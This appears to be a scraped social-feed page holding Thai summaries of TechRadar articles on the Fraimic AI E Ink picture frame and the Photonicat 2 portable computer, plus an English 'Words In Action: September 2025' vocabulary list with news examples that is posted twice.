    🖼️ “Fraimic กรอบภาพ E Ink อัจฉริยะที่สั่งงานด้วยเสียง — สร้างงานศิลป์จากคำพูด พร้อมแบตเตอรี่ที่อยู่ได้นานถึง 5 ปี” Fraimic คือกรอบภาพอัจฉริยะที่ใช้จอสีแบบ E Ink ซึ่งไม่เพียงแค่แสดงภาพถ่ายหรืองานศิลป์ แต่ยังสามารถ “สร้างภาพใหม่จากเสียงของคุณ” ด้วยเทคโนโลยี AI ที่เชื่อมกับโมเดลของ OpenAI เช่น DALL·E โดยผู้ใช้สามารถพูดคำสั่ง เช่น “วาดภาพพระอาทิตย์ตกริมทะเล” แล้วรอให้ภาพค่อย ๆ ปรากฏขึ้นบนกรอบ จุดเด่นของ Fraimic คือการออกแบบให้เหมือนกรอบภาพจริง มีให้เลือกสองขนาดคือ 14×18 นิ้ว และ 24×36 นิ้ว ใช้จอ E Ink Spectra 6 ที่แสดงสีได้ถึง 65,000 เฉด โดยไม่มีแสง backlight ทำให้ภาพดูเหมือนงานพิมพ์บนกระดาษ และไม่รบกวนสายตา Fraimic ไม่มีแอป ไม่มีระบบสมัครสมาชิก และไม่ต้องเชื่อมต่ออินเทอร์เน็ตตลอดเวลา ผู้ใช้สามารถอัปโหลดภาพผ่านเว็บไซต์โดยใช้เครือข่ายเดียวกับตัวกรอบภาพ และยังสามารถสั่งงานผ่านเสียงด้วยไมโครโฟนในตัว แบตเตอรี่ของ Fraimic ใช้งานได้นานถึง 5 ปี เพราะจอ E Ink ใช้พลังงานเฉพาะตอนเปลี่ยนภาพเท่านั้น แม้แบตหมด ภาพก็ยังค้างอยู่บนจอได้โดยไม่หายไป และสามารถชาร์จใหม่ผ่าน USB-C โครงการนี้เปิดตัวบน Kickstarter และได้รับเงินสนับสนุนเกินเป้าหมายอย่างรวดเร็ว โดยมีแผนจะเริ่มจัดส่งในเดือนพฤษภาคม 2026 พร้อมฟีเจอร์เสริมในอนาคต เช่น “Movie Mode” ที่แสดงโปสเตอร์หนังที่กำลังดู และ “Music Mode” ที่แสดงปกอัลบั้มจาก Spotify ✅ ข้อมูลสำคัญจากข่าว ➡️ Fraimic เป็นกรอบภาพอัจฉริยะที่ใช้จอสี E Ink และสั่งงานด้วยเสียง ➡️ ใช้โมเดล AI จาก OpenAI เพื่อสร้างภาพจากคำสั่งเสียงของผู้ใช้ ➡️ มีให้เลือกสองขนาด: 14×18 นิ้ว และ 24×36 นิ้ว ➡️ จอ E Ink Spectra 6 แสดงสีได้ 65,000 เฉด ไม่มีแสง backlight ➡️ ไม่มีแอป ไม่มีค่าสมัครสมาชิก และไม่ต้องเชื่อมต่ออินเทอร์เน็ตตลอดเวลา ➡️ อัปโหลดภาพผ่านเว็บไซต์ในเครือข่ายเดียวกับตัวกรอบ ➡️ แบตเตอรี่ใช้งานได้นานถึง 5 ปี และชาร์จผ่าน USB-C ➡️ ภาพยังค้างอยู่บนจอแม้แบตหมด ไม่หายไป ➡️ มีแผนเพิ่มฟีเจอร์ “Movie Mode” และ “Music Mode” ผ่านอัปเดตเฟิร์มแวร์ ➡️ โครงการได้รับเงินสนับสนุนบน Kickstarter เกิน $730,000 แล้ว ➡️ ตั้งเป้าจัดส่งในเดือนพฤษภาคม 2026 ✅ ข้อมูลเสริมจากภายนอก ➡️ E Ink เป็นเทคโนโลยีที่ใช้ใน Kindle และอุปกรณ์อ่านหนังสืออิเล็กทรอนิกส์ ➡️ Spectra 6 เป็นจอ E Ink รุ่นใหม่ที่รองรับสีมากขึ้นและความละเอียดสูง ➡️ การใช้ AI สร้างภาพจากเสียงเป็นแนวทางใหม่ที่ผสานศิลปะกับเทคโนโลยี ➡️ Fraimic รองรับการใช้งานแบบออฟไลน์ และไม่ต้องพึ่งเซิร์ฟเวอร์ภายนอก ➡️ การแสดงภาพแบบไม่ใช้ backlight ช่วยลดอาการล้าตาและดูเป็นธรรมชาติมากขึ้น https://www.techradar.com/home/smart-home/this-smart-e-ink-picture-frame-lets-you-talk-your-paintings-into-life-with-ai-and-lasts-for-years-on-a-single-charge
    0 ความคิดเห็น 0 การแบ่งปัน 284 มุมมอง 0 รีวิว
  • Highlight Words In Action : September 2025

    acrimony noun: sharpness, harshness, or bitterness of nature, speech, disposition, etc.

    From the headlines: European trade ministers gathered on July 14 to discuss the new U.S. tariffs, aiming to ease the acrimony between the EU and the Trump administration. While they planned potential countermeasures against the 30 percent tariffs, which they deemed “unacceptable,” they were united in favor of pursuing a negotiated agreement with the U.S. to maintain stable trade ties.

    adamant
    adjective: utterly unyielding in attitude or opinion in spite of all appeals, urgings, etc.

    From the headlines: Mars, the maker of M&M’s, Skittles, and other popular candies, remains adamant that it will only stop using synthetic dyes in its candy if legally required. While other food companies have announced plans to phase out artificial colors in items like Lucky Charms, Jell-O, and Kool-Aid, some candy manufacturers are holding firm. They argue that natural alternatives cost more and don’t deliver the same vibrant colors.

    aerial
    adjective: existing, living, growing, or operating in the air

    From the headlines: On June 29, Russia launched its largest aerial assault of the war in Ukraine, firing more missiles than in any previous attack since the beginning of the war in 2022. The strikes hit multiple Ukrainian cities, injuring at least a dozen people and damaging key infrastructure.

    autonomous
    adjective: existing as an independent entity

    From the headlines: Robots competed in a fully autonomous soccer tournament in Beijing, with four teams of three humanoid robots each operating solely under AI control. Although the idea was innovative, the robots had trouble with basic actions like kicking and staying balanced. Tsinghua University’s THU Robotics team clinched the championship by scoring five goals in the final round.

    bioluminescent
    adjective: pertaining to the production of light by living organisms

    From the headlines: A new research project will try to interpret the meaning of fireflies’ blinking. Scientists in Colorado enlisted the help of citizen observers to record videos of the bioluminescent insects at dusk. Researchers will eventually make a 3D map of where the glowing lights flash over time. While they know firefly blinks follow a deliberate pattern and are used to attract a mate, experts believe there is more to learn.

    bodega
    noun: a small, independent or family-owned grocery store, usually located in a densely populated urban environment

    From the headlines: A recent crime spree in New York City has targeted bodega ATMs. Thefts of cash machines have increased over the past five years, and New York’s small corner stores have been hit particularly hard. Three people are suspected of stealing almost $600,000 over six months by breaking into independent convenience stores, removing their ATMs, and driving away with them in stolen cars.

    contretemps
    noun: an inopportune occurrence; an embarrassing mischance

    From the headlines: After a contretemps between the Quebec Board of the French Language and Montreal’s transit agency, new rules grudgingly allow the use of the word “go” when cheering sports teams. The Board had objected to a Montreal Canadiens ad campaign that read “Go! Canadiens Go!” Tasked with preserving the province’s French heritage, the Board had been insisting on replacing the signs with “Allez! Canadiens Allez!”

    decorum
    noun: dignified propriety of behavior, speech, dress, etc.

    From the headlines: La Scala has introduced a new dress code requiring attendees to “choose clothing in keeping with the decorum of the theatre.” The renowned Milan opera house is codifying its long-standing policy discouraging attire like flip-flops, shorts, and tank tops. Guests are now expected to dress with elegance, honoring both the opera house’s refined ambiance and its storied cultural legacy.

    driftwood
    noun: pieces of trees that are floating on a body of water or have been washed ashore

    From the headlines: In rural Alaska, residents of some villages and small towns are continuing a long tradition by using driftwood for fuel and as energy-efficient siding for their homes. The pieces of wood, worn smooth by ocean waves or currents in rivers and streams, have been used this way by Indigenous Alaskans for thousands of years. Communities save money and protect the environment by reusing old trees or boards found floating in the water instead of buying lumber and logs.

    eavesdrop
    verb: to listen secretly to a private conversation

    From the headlines: Ecologists have found that long-billed curlews and other grassland nesters routinely eavesdrop on prairie dogs to dodge predators. Sharing a habitat where hawks, eagles, foxes, and other Great Plains animals lurk, the birds capitalize on the rodents’ warning calls. After eavesdropping on these distinctive calls, the curlews and other birds crouch or camouflage themselves until the threat has passed.

    emulate
    verb: to imitate with effort to equal or surpass

    From the headlines: Inspired by Paris’s recent success, cities across the globe are preparing to emulate its efforts to restore polluted urban rivers for public use. After a hundred-year swimming ban, Parisians can now take a dip in the once-contaminated Seine, thanks to more than a billion dollars spent on upgrades like sewer improvements and rainwater storage. Cities such as Berlin, Boston, New York, and London are developing similar plans to clean their waterways and make them safe for swimming once again.

    estuary
    noun: the part of the mouth or lower course of a river in which the river’s current meets the sea’s tide

    From the headlines: Florida Governor Ron DeSantis signed a bill that will ban oil drilling on the Apalachicola River. The river’s estuary is home to many endangered plants and animals, including the world’s largest stand of tupelo trees. The inlet is also the most important site in the state’s oyster industry. Environmentalists and fishermen supported the bill and pushed DeSantis to sign it.

    Fun fact: A Latin word meaning “boiling of the sea” is the root of estuary.

    gentrification
    noun: the buying and renovation of property in urban neighborhoods in a way that often displaces low-income families and small businesses

    From the headlines: Protesters in Mexico City say they’re angry about gentrification caused by large numbers of foreigners moving there since 2020. Locals say they have seen formerly affordable housing prices skyrocket as the numbers of short-term rentals and expats increase. Airbnb listings in the city have exploded to over 20,000, and Americans have arrived in particularly large numbers to buy and renovate houses. In the process, they say these factors have driven up costs for everyone, including local residents.

    hedonism
    noun: the doctrine that pleasure or happiness is the highest good

    From the headlines: Researchers say there are six traits that make someone seem “cool” to others, including extroversion, power, and embracing hedonism. An American Psychological Association study surveyed 6,000 people in 12 countries and found a sharp division between people seen as “good” versus “cool.” Being hedonistic, for example, didn’t make someone seem “good,” but focusing on one’s own happiness and pleasure was strongly associated with appearing “cool.”

    kayak
    verb: to travel by a traditional Inuit or Yupik canoe with a skin cover on a light framework, or by a small boat resembling this

    From the headlines: Several dozen Native American teens who spent a month kayaking the length of the Klamath River reached their destination. The group paddled their long, narrow boats about 300 miles, from Oregon to California, to celebrate the removal of four dams. The waterway holds a deep significance to Native American tribes, and many of the teens learned to kayak specifically to participate in the long paddle.

    larceny
    noun: the wrongful taking of someone’s property or goods

    From the headlines: Atlanta police have identified a suspect in the theft of hard drives holding unreleased Beyoncé songs. Setlists and plans for concert footage were also stolen when the alleged thief broke into a vehicle rented by the singer’s team. The larceny occurred during a stop on her Cowboy Carter tour.

    linchpin
    noun: something that holds the various elements of a complicated structure together

    From the headlines: The Department of Defense will stop supplying meteorologists with satellite data, which experts describe as a linchpin of storm modeling. Forecasts for hurricanes rely heavily on this military satellite feed to track storm paths and determine when people should evacuate.

    matcha
    noun: finely ground tea leaf powder used to make tea or as a flavoring, or the tea made from it

    From the headlines: The worldwide demand for matcha is causing severe shortages and higher prices. The bright green, grassy-flavored, powdered tea has a long history in Japan, but its popularity in other countries has exploded in recent years. Drinks and baked goods made with matcha have become wildly popular, causing Japanese tea growers to struggle to keep up with the demand.

    meteorite
    noun: a mass of stone or metal that has reached the earth from outer space

    From the headlines: On July 16, a bidder paid $4.3 million to own a chunk of Mars. The rare Martian meteorite, which weighs about 54 pounds, is the largest meteor fragment ever found on Earth that’s known to come from the red planet. Out of approximately 77,000 confirmed meteorites, only 400 were originally part of Mars. This one, named NWA 16788, was found in the Sahara Desert after its 140-million-mile journey through space.

    monastery
    noun: a residence occupied by a community of persons, especially monks, living in seclusion under religious vows

    From the headlines: Tens of thousands of books are being removed from a medieval Hungarian monastery to save them from a beetle infestation. The Pannonhalma Archabbey contains Hungary’s oldest library and some of the country’s most ancient and valuable books and written records. The monastery was founded 1,000 years ago by Benedictines, and about fifty monks live there today, practicing religious contemplation and solitude.

    nuptials
    noun: a marriage ceremony, or a social event accompanying one

    From the headlines: Protesters took to the streets in Venice as Amazon founder Jeff Bezos and Lauren Sanchez held their nuptials on a Venetian island, complete with 200 guests and three days of extravagant celebrations. Locals expressed outrage, saying the event placed additional strain on a city already struggling with overtourism and environmental fragility.

    offering
    noun: something presented to a deity as a symbol of devotion

    From the headlines: Archaeologists discovered about 2,000 pottery offerings on the Greek island of Kythnos. Historians said the clay figures, which represent children, women, and animals, had been left by devoted worshippers over the centuries. Two ancient temples once stood on the site, as well as a pit where the objects given as gifts to the gods were eventually thrown away to make room for new offerings.

    parody
    noun: a humorous or satirical imitation of a serious piece of writing or art

    From the headlines: Weird Al Yankovic, famed for his clever musical parodies, performed to a sold-out crowd at Madison Square Garden in New York, marking his first show at the iconic 20,000-seat venue. Over his forty-year career, Yankovic has become the most recognizable figure in the parody genre, with hits such as “Like a Surgeon,” a spoof of Madonna’s “Like a Virgin,” and “I Love Rocky Road,” a playful take on “I Love Rock ‘n Roll.”

    perennial
    adjective: arising repeatedly or always existing

    From the headlines: Joey Chestnut, the perennial champion of the Nathan’s Famous Hot Dog Eating Contest, reclaimed his crown this year after missing last year’s competition. He was sidelined in 2024 due to a sponsorship deal with a vegan meat brand, but prior to that, Chestnut had claimed victory in 16 of the past 17 contests. He still holds the world record for devouring 76 hot dogs and buns in just 10 minutes in 2021.

    philanthropist
    noun: someone who makes charitable donations

    From the headlines: Warren Buffett said he would donate $6 billion to five charitable foundations. The businessman and philanthropist, whose net worth is approximately $145 billion, has previously given more than $50 billion to the aforementioned foundations. While Buffet’s children will decide how to give away the rest of his fortune after his death, he said that more than 99 percent of it will have to be used philanthropically.

    plunder
    verb: to take wrongfully, as by pillage, robbery, or fraud

    From the headlines: Experts assumed that a Stradivarius violin plundered after World War II had been lost or destroyed; now it appears to have resurfaced. The 316-year-old instrument was stolen from a Berlin bank safe during the chaos at the end of the war, and the family who owned it searched for decades before giving up. An image of the looted violin, which is valued at millions of dollars, was discovered among photos of Stradivarius instruments from a 2018 Tokyo exhibition.

    risotto
    noun: a dish of rice cooked with broth and flavored with grated cheese and other ingredients

    From the headlines: The short-grain Italian rice that’s used to make risotto is under threat from an unusual culprit: flamingos. Flocks of the birds are settling into northern Italian rice paddies instead of their usual nesting grounds. By stirring the shallow water and rooting for mollusks, the flamingos are destroying many valuable rice crops.

    skittish
    adjective: easily frightened or extremely cautious

    From the headlines: Economists report that despite a low unemployment rate, employers are increasingly skittish about hiring, leaving many recent college graduates struggling to find jobs. Numerous tech companies, consulting firms, and federal agencies are cutting back or freezing hiring, while other industries are hesitant to increase payroll expenses. Furthermore, fewer workers are quitting, limiting job openings even more.

    synthetic
    adjective: pertaining to compounds formed through a chemical process by human agency, as opposed to those of natural origin

    From the headlines: The J.M. Smucker Company has announced it will phase out synthetic dyes from its jams and other offerings. While many of its products are already made without artificial colors, some, including sugar-free jams and Hostess snacks like Twinkies and Snoballs, still rely on them. The company intends to use naturally sourced dyes by 2027.

    tandem
    adverb: one following or behind the other

    From the headlines: Researchers were surprised by video evidence of animals that are normally at odds traveling in tandem. A night-vision camera recorded an ocelot traveling peacefully behind an opossum — a surprise, since ocelots usually prey on opossums. Later footage showed the opossum trailing the ocelot as it prowled. Other researchers have since reported at least three additional examples of such behavior.

    © 2025, Aakkhra, All rights reserved.
    Highlight Words In Action : September 2025 acrimony noun: sharpness, harshness, or bitterness of nature, speech, disposition, etc. From the headlines: European trade ministers gathered on July 14 to discuss the new U.S. tariffs, aiming to ease the acrimony between the EU and the Trump administration. While they planned potential countermeasures against the 30 percent tariffs, which they deemed “unacceptable,” they were united in favor of pursuing a negotiated agreement with the U.S. to maintain stable trade ties. adamant adjective: utterly unyielding in attitude or opinion in spite of all appeals, urgings, etc. From the headlines: Mars, the maker of M&M’s, Skittles, and other popular candies, remains adamant that it will only stop using synthetic dyes in its candy if legally required. While other food companies have announced plans to phase out artificial colors in items like Lucky Charms, Jell-O, and Kool-Aid, some candy manufacturers are holding firm. They argue that natural alternatives cost more and don’t deliver the same vibrant colors. aerial adjective: existing, living, growing, or operating in the air From the headlines: On June 29, Russia launched its largest aerial assault of the war in Ukraine, firing more missiles than in any previous attack since the beginning of the war in 2022. The strikes hit multiple Ukrainian cities, injuring at least a dozen people and damaging key infrastructure. autonomous adjective: existing as an independent entity From the headlines: Robots competed in a fully autonomous soccer tournament in Beijing, with four teams of three humanoid robots each operating solely under AI control. Although the idea was innovative, the robots had trouble with basic actions like kicking and staying balanced. Tsinghua University’s THU Robotics team clinched the championship by scoring five goals in the final round. bioluminescent adjective: pertaining to the production of light by living organisms From the headlines: A new research project will try to interpret the meaning of fireflies’ blinking. Scientists in Colorado enlisted the help of citizen observers to record videos of the bioluminescent insects at dusk. Researchers will eventually make a 3D map of where the glowing lights flash over time. While they know firefly blinks follow a deliberate pattern and are used to attract a mate, experts believe there is more to learn. bodega noun: a small, independent or family-owned grocery store, usually located in a densely populated urban environment From the headlines: A recent crime spree in New York City has targeted bodega ATMs. Thefts of cash machines have increased over the past five years, and New York’s small corner stores have been hit particularly hard. Three people are suspected of stealing almost $600,000 over six months by breaking into independent convenience stores, removing their ATMs, and driving away with them in stolen cars. contretemps noun: an inopportune occurrence; an embarrassing mischance From the headlines: After a contretemps between the Quebec Board of the French Language and Montreal’s transit agency, new rules grudgingly allow the use of the word “go” when cheering sports teams. The Board had objected to a Montreal Canadiens ad campaign that read “Go! Canadiens Go!” Tasked with preserving the province’s French heritage, the Board had been insisting on replacing the signs with “Allez! Canadiens Allez!” decorum noun: dignified propriety of behavior, speech, dress, etc. From the headlines: La Scala has introduced a new dress code requiring attendees to “choose clothing in keeping with the decorum of the theatre.” The renowned Milan opera house is codifying its long-standing policy discouraging attire like flip-flops, shorts, and tank tops. Guests are now expected to dress with elegance, honoring both the opera house’s refined ambiance and its storied cultural legacy. driftwood noun: pieces of trees that are floating on a body of water or have been washed ashore From the headlines: In rural Alaska, residents of some villages and small towns are continuing a long tradition by using driftwood for fuel and as energy-efficient siding for their homes. The pieces of wood, worn smooth by ocean waves or currents in rivers and streams, have been used this way by Indigenous Alaskans for thousands of years. Communities save money and protect the environment by reusing old trees or boards found floating in the water instead of buying lumber and logs. eavesdrop verb: to listen secretly to a private conversation From the headlines: Ecologists have found that long-billed curlews and other grassland nesters routinely eavesdrop on prairie dogs to dodge predators. Sharing a habitat where hawks, eagles, foxes, and other Great Plains animals lurk, the birds capitalize on the rodents’ warning calls. After eavesdropping on these distinctive calls, the curlews and other birds crouch or camouflage themselves until the threat has passed. emulate verb: to imitate with effort to equal or surpass From the headlines: Inspired by Paris’s recent success, cities across the globe are preparing to emulate its efforts to restore polluted urban rivers for public use. After a hundred-year swimming ban, Parisians can now take a dip in the once-contaminated Seine, thanks to more than a billion dollars spent on upgrades like sewer improvements and rainwater storage. Cities such as Berlin, Boston, New York, and London are developing similar plans to clean their waterways and make them safe for swimming once again. estuary noun: the part of the mouth or lower course of a river in which the river’s current meets the sea’s tide From the headlines: Florida Governor Ron DeSantis signed a bill that will ban oil drilling on the Apalachicola River. The river’s estuary is home to many endangered plants and animals, including the world’s largest stand of tupelo trees. The inlet is also the most important site in the state’s oyster industry. Environmentalists and fishermen supported the bill and pushed DeSantis to sign it. Fun fact: A Latin word meaning “boiling of the sea” is the root of estuary. gentrification noun: the buying and renovation of property in urban neighborhoods in a way that often displaces low-income families and small businesses From the headlines: Protesters in Mexico City say they’re angry about gentrification caused by large numbers of foreigners moving there since 2020. Locals say they have seen formerly affordable housing prices skyrocket as the numbers of short-term rentals and expats increase. Airbnb listings in the city have exploded to over 20,000, and Americans have arrived in particularly large numbers to buy and renovate houses. In the process, they say these factors have driven up costs for everyone, including local residents. hedonism noun: the doctrine that pleasure or happiness is the highest good From the headlines: Researchers say there are six traits that make someone seem “cool” to others, including extroversion, power, and embracing hedonism. An American Psychological Association study surveyed 6,000 people in 12 countries and found a sharp division between people seen as “good” versus “cool.” Being hedonistic, for example, didn’t make someone seem “good,” but focusing on one’s own happiness and pleasure was strongly associated with appearing “cool.” kayak verb: to travel by a traditional Inuit or Yupik canoe with a skin cover on a light framework, or by a small boat resembling this From the headlines: Several dozen Native American teens who spent a month kayaking the length of the Klamath River reached their destination. The group paddled their long, narrow boats about 300 miles, from Oregon to California, to celebrate the removal of four dams. The waterway holds a deep significance to Native American tribes, and many of the teens learned to kayak specifically to participate in the long paddle. larceny noun: the wrongful taking of someone’s property or goods From the headlines: Atlanta police have identified a suspect in the theft of hard drives holding unreleased Beyoncé songs. Setlists and plans for concert footage were also stolen when the alleged thief broke into a vehicle rented by the singer’s team. The larceny occurred during a stop on her Cowboy Carter tour. linchpin noun: something that holds the various elements of a complicated structure together From the headlines: The Department of Defense will stop supplying meteorologists with satellite data, which experts describe as a linchpin of storm modeling. Forecasts for hurricanes rely heavily on this military satellite feed to track storm paths and determine when people should evacuate. matcha noun: finely ground tea leaf powder used to make tea or as a flavoring, or the tea made from it From the headlines: The worldwide demand for matcha is causing severe shortages and higher prices. The bright green, grassy-flavored, powdered tea has a long history in Japan, but its popularity in other countries has exploded in recent years. Drinks and baked goods made with matcha have become wildly popular, causing Japanese tea growers to struggle to keep up with the demand. meteorite noun: a mass of stone or metal that has reached the earth from outer space From the headlines: On July 16, a bidder paid $4.3 million to own a chunk of Mars. The rare Martian meteorite, which weighs about 54 pounds, is the largest meteor fragment ever found on Earth that’s known to come from the red planet. Out of approximately 77,000 confirmed meteorites, only 400 were originally part of Mars. This one, named NWA 16788, was found in the Sahara Desert after its 140-million-mile journey through space. monastery noun: a residence occupied by a community of persons, especially monks, living in seclusion under religious vows From the headlines: Tens of thousands of books are being removed from a medieval Hungarian monastery to save them from a beetle infestation. The Pannonhalma Archabbey contains Hungary’s oldest library and some of the country’s most ancient and valuable books and written records. The monastery was founded 1,000 years ago by Benedictines, and about fifty monks live there today, practicing religious contemplation and solitude. nuptials noun: a marriage ceremony, or a social event accompanying one From the headlines: Protesters took to the streets in Venice as Amazon founder Jeff Bezos and Lauren Sanchez held their nuptials on a Venetian island, complete with 200 guests and three days of extravagant celebrations. Locals expressed outrage, saying the event placed additional strain on a city already struggling with overtourism and environmental fragility. offering noun: something presented to a deity as a symbol of devotion From the headlines: Archaeologists discovered about 2,000 pottery offerings on the Greek island of Kythnos. Historians said the clay figures, which represent children, women, and animals, had been left by devoted worshippers over the centuries. Two ancient temples once stood on the site, as well as a pit where the objects given as gifts to the gods were eventually thrown away to make room for new offerings. parody noun: a humorous or satirical imitation of a serious piece of writing or art From the headlines: Weird Al Yankovic, famed for his clever musical parodies, performed to a sold-out crowd at Madison Square Garden in New York, marking his first show at the iconic 20,000-seat venue. Over his forty-year career, Yankovic has become the most recognizable figure in the parody genre, with hits such as “Like a Surgeon,” a spoof of Madonna’s “Like a Virgin,” and “I Love Rocky Road,” a playful take on “I Love Rock ‘n Roll.” perennial adjective: arising repeatedly or always existing From the headlines: Joey Chestnut, the perennial champion of the Nathan’s Famous Hot Dog Eating Contest, reclaimed his crown this year after missing last year’s competition. He was sidelined in 2024 due to a sponsorship deal with a vegan meat brand, but prior to that, Chestnut had claimed victory in 16 of the past 17 contests. He still holds the world record for devouring 76 hot dogs and buns in just 10 minutes in 2021. philanthropist noun: someone who makes charitable donations From the headlines: Warren Buffett said he would donate $6 billion to five charitable foundations. The businessman and philanthropist, whose net worth is approximately $145 billion, has previously given more than $50 billion to the aforementioned foundations. While Buffet’s children will decide how to give away the rest of his fortune after his death, he said that more than 99 percent of it will have to be used philanthropically. plunder verb: to take wrongfully, as by pillage, robbery, or fraud From the headlines: Experts assumed that a Stradivarius violin plundered after World War II had been lost or destroyed; now it appears to have resurfaced. The 316-year-old instrument was stolen from a Berlin bank safe during the chaos at the end of the war, and the family who owned it searched for decades before giving up. An image of the looted violin, which is valued at millions of dollars, was discovered among photos of Stradivarius instruments from a 2018 Tokyo exhibition. risotto noun: a dish of rice cooked with broth and flavored with grated cheese and other ingredients From the headlines: The short-grain Italian rice that’s used to make risotto is under threat from an unusual culprit: flamingos. Flocks of the birds are settling into northern Italian rice paddies instead of their usual nesting grounds. By stirring the shallow water and rooting for mollusks, the flamingos are destroying many valuable rice crops. skittish adjective: easily frightened or extremely cautious From the headlines: Economists report that despite a low unemployment rate, employers are increasingly skittish about hiring, leaving many recent college graduates struggling to find jobs. Numerous tech companies, consulting firms, and federal agencies are cutting back or freezing hiring, while other industries are hesitant to increase payroll expenses. Furthermore, fewer workers are quitting, limiting job openings even more. synthetic adjective: pertaining to compounds formed through a chemical process by human agency, as opposed to those of natural origin From the headlines: The J.M. Smucker Company has announced it will phase out synthetic dyes from its jams and other offerings. While many of its products are already made without artificial colors, some, including sugar-free jams and Hostess snacks like Twinkies and Snoballs, still rely on them. The company intends to use naturally sourced dyes by 2027. tandem adverb: one following or behind the other From the headlines: Researchers were surprised by video evidence of animals that are normally at odds traveling in tandem. A night-vision camera recorded an ocelot traveling peacefully behind an opossum — a surprise, since ocelots usually prey on opossums. Later footage showed the opossum trailing the ocelot as it prowled. Other researchers have since reported at least three additional examples of such behavior. © 2025, Aakkhra, All rights reserved.
    0 ความคิดเห็น 0 การแบ่งปัน 678 มุมมอง 0 รีวิว
  • “Photonicat 2 คอมพิวเตอร์พกพาแบบเปิดซอร์ส — แบตอึด 24 ชั่วโมง, รองรับ 5G, NVMe และปรับแต่งได้ทุกพอร์ต”

    ถ้า MacGyver ต้องเลือกคอมพิวเตอร์พกพาสักเครื่อง เขาอาจเลือก Photonicat 2 — อุปกรณ์ขนาดเท่าก้อนอิฐที่รวมทุกสิ่งไว้ในตัวเดียว ทั้งแบตเตอรี่ใช้งานได้ 24 ชั่วโมง, พอร์ตเชื่อมต่อรอบตัว, หน้าจอแสดงสถานะ, และระบบปฏิบัติการแบบเปิดซอร์สที่ปรับแต่งได้เต็มรูปแบบ

    Photonicat 2 เป็นรุ่นต่อยอดจาก Photonicat 1 ที่เคยเปิดตัวในฐานะเราเตอร์พกพาแบบเปิดซอร์ส โดยรุ่นใหม่นี้ยังคงแนวคิดเดิม แต่เพิ่มประสิทธิภาพอย่างชัดเจน ด้วยชิป Rockchip RK3576 แบบ 8 คอร์ ที่แรงกว่ารุ่นก่อนถึง 3 เท่า รองรับ RAM สูงสุด 16GB LPDDR5 และ eMMC สูงสุด 128GB พร้อมช่อง NVMe ขนาด 2230 สำหรับขยายพื้นที่เก็บข้อมูล

    ตัวเครื่องมีขนาด 154 x 78 x 32 มม. น้ำหนักประมาณ 485 กรัมเมื่อรวมแบตเตอรี่ ใช้แบตเตอรี่ 18650 จำนวน 4 ก้อน ให้พลังงานใช้งานต่อเนื่องได้ถึง 24 ชั่วโมง และรองรับการชาร์จเร็วผ่าน USB-C PD 30W

    ด้านการเชื่อมต่อ Photonicat 2 รองรับ dual gigabit Ethernet, HDMI 4K60, USB-C, USB 3.0, microSD, nano-SIM และช่องต่อเสาอากาศภายนอกสูงสุด 4 จุด เพื่อเพิ่มประสิทธิภาพสัญญาณ 5G หรือ Wi-Fi ในพื้นที่ห่างไกล

    หน้าจอ LCD ด้านหน้าสามารถแสดงข้อมูลแบบเรียลไทม์ เช่น ความเร็วเน็ต, อุณหภูมิ CPU, สถานะแบตเตอรี่ และ IP address โดยผู้ใช้สามารถปรับแต่งหน้าจอผ่าน JSON ได้ตามต้องการ

    ระบบปฏิบัติการรองรับ Linux kernel 6.12+, Debian, OpenWrt และ Android build script พร้อมรองรับ KVM virtualization ทำให้สามารถใช้งานเป็นทั้งคอมพิวเตอร์พกพา, เราเตอร์, NAS, หรือแม้แต่ UPS สำหรับอุปกรณ์เครือข่าย

    Photonicat 2 เปิดระดมทุนผ่าน Kickstarter และสามารถระดมทุนเกินเป้าหมายภายในเวลาไม่กี่วัน โดยมีแผนจัดส่งทั่วโลกในเดือนพฤศจิกายน 2025

    ข้อมูลสำคัญจากข่าว
    Photonicat 2 เป็นคอมพิวเตอร์พกพาแบบเปิดซอร์สรุ่นใหม่จาก Photonicat
    ใช้ชิป Rockchip RK3576 แบบ 8 คอร์ แรงกว่ารุ่นก่อนถึง 3 เท่า
    รองรับ RAM สูงสุด 16GB LPDDR5 และ eMMC สูงสุด 128GB
    มีช่อง NVMe ขนาด 2230 สำหรับขยายพื้นที่เก็บข้อมูล
    ใช้แบตเตอรี่ 18650 จำนวน 4 ก้อน ใช้งานได้สูงสุด 24 ชั่วโมง
    รองรับการชาร์จเร็วผ่าน USB-C PD 30W
    มีพอร์ตเชื่อมต่อครบครัน: Ethernet, HDMI 4K, USB-C, USB 3.0, microSD, nano-SIM
    รองรับเสาอากาศภายนอกสูงสุด 4 จุด
    หน้าจอ LCD แสดงข้อมูลแบบเรียลไทม์ ปรับแต่งได้ผ่าน JSON
    รองรับ Linux kernel 6.12+, Debian, OpenWrt และ Android build script
    ใช้งานได้ทั้งเป็นคอมพิวเตอร์, เราเตอร์, NAS หรือ UPS
    ระดมทุนผ่าน Kickstarter และจัดส่งทั่วโลกใน พ.ย. 2025

    ข้อมูลเสริมจากภายนอก
    RK3576 เป็นชิป ARM ที่เน้นประสิทธิภาพและการจัดการพลังงาน
    NVMe 2230 เป็นฟอร์แมต SSD ขนาดเล็กที่นิยมใช้ในอุปกรณ์พกพา
    OpenWrt เป็นระบบปฏิบัติการสำหรับเราเตอร์ที่เน้นความปลอดภัยและการปรับแต่ง
    KVM virtualization ช่วยให้ Photonicat 2 รันหลายระบบพร้อมกันได้
    การใช้ JSON ปรับแต่งหน้าจอช่วยให้ผู้ใช้ควบคุมอินเทอร์เฟซได้ละเอียด

    https://www.techradar.com/pro/if-mcgyver-bought-a-pc-it-would-probably-be-the-photonicat-brick-like-computer-has-built-in-24-hr-battery-ports-agogo-sim-slot-external-antennas-nvme-slot-and-is-open-source
